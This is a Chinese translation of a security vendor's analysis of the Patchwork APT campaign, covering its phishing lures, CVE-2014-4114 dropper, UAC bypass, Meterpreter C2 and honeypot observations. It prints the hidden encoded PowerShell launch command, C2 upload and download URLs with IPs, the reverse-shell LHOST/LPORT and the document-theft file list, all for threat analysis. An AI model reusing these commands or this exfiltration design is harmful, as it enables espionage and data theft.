最近,一個與東南亞和中國南海問題相關(guān)的APT攻擊被發(fā)現(xiàn),該APT攻擊以包括美國在內(nèi)的各國政府和公司為目標(biāo) 。經(jīng)安全專家分析,該APT攻擊所使用的全部工具代碼都是通過 復(fù)制-粘貼 互聯(lián)網(wǎng)公開代碼組合而成,相對于其它APT特有的攻擊工具而言,比較獨(dú)特。
Cymmetria發(fā)現(xiàn)并發(fā)布了此APT攻擊的分析報告,由于其代碼來源于多個網(wǎng)絡(luò)論壇和網(wǎng)站,如Github、暗網(wǎng)和隱秘的犯罪論壇等,故把其命名為Patchwork APT 攻擊(Patchwork:拼湊物)。
一、報告綜述
Patchwork APT自2015年12月被監(jiān)測到之后,目前已經(jīng)感染了大約2500臺電腦,雖有跡象表明其最早活動可追溯至2014年,但Cymmetria并未第一時間發(fā)現(xiàn)。
Patchwork APT針對的目標(biāo)是軍事和政治機(jī)構(gòu),特別是那些與東南亞和南海問題相關(guān)的工作機(jī)構(gòu)雇員,目標(biāo)多是政府或與政府有間接聯(lián)系的機(jī)構(gòu)。
在存活的受害者系統(tǒng)上,Patchwork APT通過搜索文檔并上傳至其C&C服務(wù)器,如果目標(biāo)主機(jī)非常有價值,Patchwork APT還會進(jìn)一步安裝第二階段滲透工具。
以下為PatchworkAPT 的攻擊時間范圍:
二、調(diào)查
1 概述
該APT攻擊于今年5月在針對歐洲政府部門的一起釣魚活動中被發(fā)現(xiàn),攻擊目標(biāo)為一個中國政策研究機(jī)構(gòu)的工作人員,其以PPT文檔為誘餌發(fā)起網(wǎng)絡(luò)攻擊,文檔內(nèi)容為中國在南海的一系列活動。
當(dāng)PPT文檔被打開后,嵌入執(zhí)行CVE-2014-4114漏洞代碼,這個漏洞存在于未打補(bǔ)丁的OfficePowerPoint 2003 和2007中,漏洞利用代碼曾被發(fā)起了名為Sandworm的APT攻擊。
一旦漏洞代碼開始執(zhí)行,第一階段為部署攻擊載體:一個利用AutoIt工具編譯的腳本。這個腳本使用某網(wǎng)絡(luò)論壇出現(xiàn)的名為UACME方法和代碼來繞過系統(tǒng)UAC。
獲得更高權(quán)限之后,以Meterpreter方式執(zhí)行powersploit 腳本,(Meterpreter是著名的metasploit框架遠(yuǎn)控工具)
下一階段,開始對文檔和目標(biāo)主機(jī)價值進(jìn)行篩選判斷,如果目標(biāo)足夠有價值,攻擊者再次部署第二階段攻擊模塊,涉及到的攻擊工具也大多來源于知名論壇或網(wǎng)絡(luò)資源。以下為其攻擊感染流程:
2 以蜜罐方式發(fā)現(xiàn)攻擊者
為了捕獲攻擊者發(fā)起的第二階段攻擊程序,觀察其在內(nèi)網(wǎng)中的滲透活動,我們創(chuàng)建了一個真實(shí)網(wǎng)絡(luò)環(huán)境,這個環(huán)境讓攻擊者覺得他們已經(jīng)成功獲取了主機(jī)權(quán)限。
零星的誘餌數(shù)據(jù)可以讓攻擊者向另一主機(jī)轉(zhuǎn)移,這些數(shù)據(jù)可以是存儲憑據(jù),共享文件夾、瀏覽器cookies,VPN配置等其它信息。最終我們利用了Cymmetria’s MazeRunner 系統(tǒng)成功捕獲了攻擊者的活動。
3 開始
如前所述,為了保證攻擊者的攻擊持續(xù)處于活動狀態(tài),我們虛構(gòu)了對攻擊者來說非常感興趣的目標(biāo):一位處理安全問題的政府智庫人員。
創(chuàng)建欺騙網(wǎng)絡(luò)
首先,創(chuàng)建SMB共享,映射到目標(biāo)電腦并顯示網(wǎng)絡(luò)備份;
其次,把一個運(yùn)行云端服務(wù)的RDP憑據(jù)存放于電腦中,同時在遠(yuǎn)程云端系統(tǒng)中部署欺騙數(shù)據(jù),形成蜜罐系統(tǒng),同時造成正常服務(wù)的假象。
蜜罐文件系統(tǒng)
用 RDP憑據(jù)引向蜜罐系統(tǒng)
4 一連串的事件
(1) 當(dāng)一個 PowerPoint PPS文件被打開之后,釋放有效攻擊載荷。即CVE-2014-4114漏洞利用代碼(曾用作SandWorm沙蟲攻擊)。
釋放的Driver.inf 文件內(nèi)容
(2) 主機(jī)被以下可執(zhí)行文件感染:
sysvolinfo.exe – 執(zhí)行編譯腳本.
PowerShell 以HTTPS Meterpreter方式執(zhí)行攻擊腳本,同時保持與C2控制服務(wù)器連接,發(fā)起以下網(wǎng)絡(luò)請求:
http://212.129.13.110/dropper.php?profile=
https://45.43.192.172:8443/OxGN
(3) 目標(biāo)電腦上的文件被攻擊者以加密通道方式上傳至遠(yuǎn)程控制服務(wù)器,由于Meterpreter的“sstagerverifysslcert”功能 開啟,所以我們沒有檢測到相應(yīng)的SSL通道;
(4) 攻擊者釋放第二階段惡意軟件7zip.exe,利用此程序掃描硬盤并連接遠(yuǎn)程IP地址 212.83.191.156。
(5)7zip.exe復(fù)制自身在C:WindowsSysWOW64目錄下生成netvmon.exe文件,并添加進(jìn)程序自啟動路徑,實(shí)現(xiàn)長期控制目的。
(6)在最初感染的前三天,攻擊者開始對SMB共享文件夾發(fā)起訪問;
(7)惡意軟件開始訪問映射共享,并掃描所有固定磁盤驅(qū)動器上的文件;
(8)在MazeRunner 系統(tǒng)的第一個警報產(chǎn)生之后,由于誘餌系統(tǒng)的IP地址被內(nèi)置在RDP憑據(jù)文件里,所以,我們看到了攻擊者試圖利用RDP憑據(jù)連接誘餌系統(tǒng)的數(shù)據(jù)。警報提示攻擊發(fā)起于
IP 212.129.7.146,整個攻擊持續(xù)了12分鐘;
(9)從我們收到Mazerunner的警報綜合受害主機(jī)內(nèi)的RDP連接文件表明,攻擊者登錄失敗了幾次,但讓我們感興趣的是,攻擊者并沒有使用系統(tǒng)密碼獲取工具M(jìn)imikatz。
(10)我們相信以上兩起攻擊連接發(fā)起于同一個攻擊源,因?yàn)椋?/p>
攻擊者用來連接我們蜜罐系統(tǒng)的兩個IP地址都屬于rev.poneytelecom.euf 域名;
內(nèi)部警報表明,兩起攻擊連接事件發(fā)生在同一天。
攻擊發(fā)起的網(wǎng)絡(luò)規(guī)劃圖
5 從攻擊者C&C控制服務(wù)器中獲得的信息
我們通過另一個合作伙伴,成功地接手并控制了攻擊者的一個C&C服務(wù)器,服務(wù)器中包含了大量文件:
種類多樣的PPS文件–用作釣魚攻擊的惡意文件
大量的惡意代碼包
而且這些釣魚文件內(nèi)容都與中國主題或色情性質(zhì)相關(guān),以下是一些樣本文件:
在C&C服務(wù)器中,我們還提取到了PPS文件的修改日期,這些日期從2015年12月持續(xù)到2016年1月。從日期上可以清晰看出攻擊者準(zhǔn)備和實(shí)施攻擊的時間線。
三、技術(shù)分析
工具部署
攻擊載體:
攻擊載體是一個以PPS為附件的網(wǎng)絡(luò)釣魚郵件,嵌入漏洞 CVE-2014-4114 的利用代碼。漏洞利用代碼執(zhí)行之后釋放可執(zhí)行文件和Windows驅(qū)動程序描述文件INF。
攻擊者把以下兩個文件嵌入OLE實(shí)體中并釋放到受害者主機(jī):
Driver.inf
Sysvolinfo.exe
DROPPER木馬程序:
sysvolinfo.exe程序是攻擊者第一階段的有效載荷(另一個程序是uplv1032 .exe),其目的是為了提升權(quán)限、篩選數(shù)據(jù),從網(wǎng)絡(luò)下載執(zhí)行powersploit發(fā)起的程序和命令。通過安裝Meterpreter,攻擊者可以在受感染主機(jī)內(nèi)發(fā)起遠(yuǎn)程控制命令。
sysvolinfo.exe代碼本身是利用編譯工具AutoIt編譯的,其代碼的一個重要部分抄襲于黑客論壇“ indetectables”。
C&C通信:
當(dāng)黑客工具開始運(yùn)行之后,第一步就是與C&C服務(wù)器進(jìn)行確認(rèn)連接,靜待命令,以下就是對C&C連接協(xié)議的分析:
屬性:
ComputerID=BASE64ENCODE(“$USERNAME@$COMPUTERNAME”)
ddager= Isstartup registry key added (Bool)
r1=BASE64ENCODE(result of OSVersion macro, e.g. WIN_7)
r2=BASE64ENCODE(result of OSArch macro, e.g. X64)
r3=BASE64ENCODE(trojan version, 1.1 in our sample)
r4=BASE64ENCODE(Does the SQLite database folder ( @UserProfileDir &“AppDataLocalGoogleChromeUser DataDefault”) exist (1) or not (0))
r5=BASE64ENCODE(stdout of last cmd command)
r6=BASE64ENCODE(1 if running as administrator, 0 if not)
發(fā)起遠(yuǎn)程連接請求:
-- http://212.129.13.110/dropper.php?profile=+ $ComputerID
用以下變量作為發(fā)送參數(shù):
-- ddager, r1, r2, r3, r4, r5, r6.
返回變量和結(jié)果:
-- “$sdata|$payload”
可用命令解釋:
Command ID | Command explanation |
---|---|
“1” | 調(diào)試服務(wù)器遠(yuǎn)程狀態(tài)如 “[+] ServFlag : Disabled” ,也可以什么都不做 |
“2” | 如果此命令在之前沒被執(zhí)行過, 以PowerShell腳本方式執(zhí)行: powershell -nop -wind hidden -noni -enc ” & $PAYLOAD |
“3” | 重置腳本內(nèi)部狀態(tài),忽略先前執(zhí)行的“2”號命令,再次執(zhí)行“2”號命令。 |
“4” | 退出腳本 |
“5” | 以base64加密payload執(zhí)行_emorhc function |
“6” | 以base64加密payload為變量執(zhí)行_getnewver function |
“7” | 以base64加密payload為變量執(zhí)行_instcust function |
“8” | 通過CMD方式執(zhí)行base64加密payload ,把結(jié)果保存于r5 |
當(dāng)受害主機(jī)狀態(tài)命令發(fā)送到控制服務(wù)器后,黑客程序繼續(xù)以“TotalSecurity”字符串目標(biāo)掃描整個“Program Files”目錄,這是“360 Total Security”安全軟件的安裝目錄。(360 Total Security 是360的國際版)
黑客軟件以”Baidu Software Update”為文件夾偽裝自身進(jìn)入系統(tǒng)啟動目錄(HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun)。然后,它又向控制服務(wù)器發(fā)送另一個命令,之后,開始掃描計(jì)算機(jī)中的所有固定驅(qū)動器磁盤,以尋找以下后綴名文件:
*.doc
*.csv
*.ppt
*.docx
*.pst
*.xls
*.xlsx
*.pptx
之后上傳所有文件至服務(wù)器:
http://212[.]129.13.110/update-request.php?profile=
在對黑客工具進(jìn)行反編譯后,發(fā)現(xiàn)了其功能調(diào)用中包含了一個有趣的PDB文件:
“C:UsersKanishkDocumentsVisualStudio 2015ProjectsConsoleApplication1ConsoleApplication1objDebugConsoleApplication1.pdb”
提權(quán)操作:
經(jīng)過前階段描述可知,攻擊載體使用了WINDOWS7系統(tǒng)中尚未打補(bǔ)丁的UAC繞過漏洞(被稱為UACME ),這可以讓攻擊者以管理員身份執(zhí)行操作。
shellcode執(zhí)行:
當(dāng)AutoIt 腳本惡意軟件從 $sdata 中接收到“2”號命令的心跳后(這似乎是最常見的情況),便以base64加密方式執(zhí)行命令:
powershell -nop -wind hidden -noni -enc
我們觀察到base64加密的payload是powershell腳本方式的shellcode,通過Meterpreter進(jìn)行https反向遠(yuǎn)程連接。
反向HTTPS Meterpreter 連接:
AutoIt腳本提權(quán)并執(zhí)行一個PowerShell的反向Meterpreter 連接腳本,而且這個腳本看起來是通過一個在線博客復(fù)制而來的
Meterpreter用以下參數(shù)進(jìn)行連接:
LHOST=45.43.192.172
LPORT=8443
第二階段的攻擊載體:
該階段的攻擊工具只有在攻擊者執(zhí)行Meterpreter連接,并確定目標(biāo)主機(jī)具有價值之后,才會運(yùn)行部署。我們發(fā)現(xiàn)這個攻擊載體為7zip.exe,但它有時候也為ndcrypt.exe和nd.exe。
7zip.exe 16 進(jìn)制代碼
這個程序的很多代碼都來源于GitHub的一個公開代碼庫 。
脫殼之后,程序模塊執(zhí)行以下動作:
(1)為了在電腦關(guān)機(jī)或重啟之后能繼續(xù)保持入侵狀態(tài),攻擊載體程序在系統(tǒng)目錄下復(fù)制自身并重命名為netmon.exe,并以自啟動服務(wù) Net Monitor 運(yùn)行。
C:WindowsSysWOW64 etmon.exe —以 7zip.exe/netmon.exe 運(yùn)行的64位程序;
(2)執(zhí)行一個固定磁盤的掃描線程和文件篩選程序(但不會搜索網(wǎng)絡(luò)驅(qū)動器和USB設(shè)備)
另一個線程執(zhí)行文件上傳功能:
http://212[.]83.191.156/http/up.php.
另一個線程下載可執(zhí)行文件:
http://212[.]83.191.156/http/down.php
四、其它屬性
1 PPS文件時間編輯分析:
經(jīng)過對PPS文件的提取分析發(fā)現(xiàn),這些PPS文件在一天當(dāng)中的不同時段都被經(jīng)過修改:
2 C&C 遠(yuǎn)程控制服務(wù)器活動時間:
C&C服務(wù)器的活動不僅在于單獨(dú)的幾個小時之間,還在于每周的每天,通過對每天的時間區(qū)間進(jìn)行描述之后,我們可以發(fā)現(xiàn)不同的模式,例如,每周的周日活動較多,周六較少。另外,攻擊活動不早于凌晨2點(diǎn),不晚于上午11點(diǎn),除了某個周日之外。“攻擊工作時間”圖如下:
3 域名注冊時間:
攻擊活動使用的惡意域名注冊時間只在每周的特定幾天,而且注冊時間都介于凌晨3點(diǎn)到下午15點(diǎn)之間:
五、總結(jié):
Patchwork APT 是一個非常成功的有針對性的網(wǎng)絡(luò)攻擊,令人驚訝的是自去年12月之前,它一直未被發(fā)現(xiàn)。
其高度復(fù)雜的操作與其具有的低技術(shù)含量形成鮮明的矛盾對比,避免昂貴的開發(fā)工具而選擇開源低廉的代碼作為滲透工具,這也許是一種攻擊趨勢,也是一種避免被發(fā)現(xiàn)的手段;
根據(jù)我們所掌握的信息,攻擊者有可能是親印度或印度人。但就像我們的CEO Gadi Gadi Evron在內(nèi)部討論時所說的:“也有另一種可能性,有可能是其他偽裝成印度人的攻擊者,因?yàn)樵诰W(wǎng)絡(luò)世界里,好像根本就沒有任何確切的證據(jù)來支撐說明,這只是我們自己的觀點(diǎn)。”
不像其它國家發(fā)起的APT攻擊,印度的網(wǎng)絡(luò)間諜活動一直都處于平靜狀態(tài),如果攻擊者確實(shí)是親印度或印度人,那么這是非常值得注意的情況。
卡巴斯基實(shí)驗(yàn)室中文報告
卡巴斯基實(shí)驗(yàn)室英文報告
***** 文章根據(jù)Cymmetria 報告原文編譯:Cymmetria - Unveiling_Patchwork
*****后記:在Cymmetria發(fā)布分析報告的同時,卡巴斯基實(shí)驗(yàn)室也發(fā)布了名為《Dropping Elephant網(wǎng)絡(luò)犯罪組織肆意攻擊多國政府和外交機(jī)構(gòu)》的報告,報告中命名的Dropping Elephant APT 與Cymmetria發(fā)現(xiàn)的 Patchwork APT 高度相似。
*本文譯者:clouds,轉(zhuǎn)載須注明來自FreeBuf黑客與極客(FreeBuf.COM)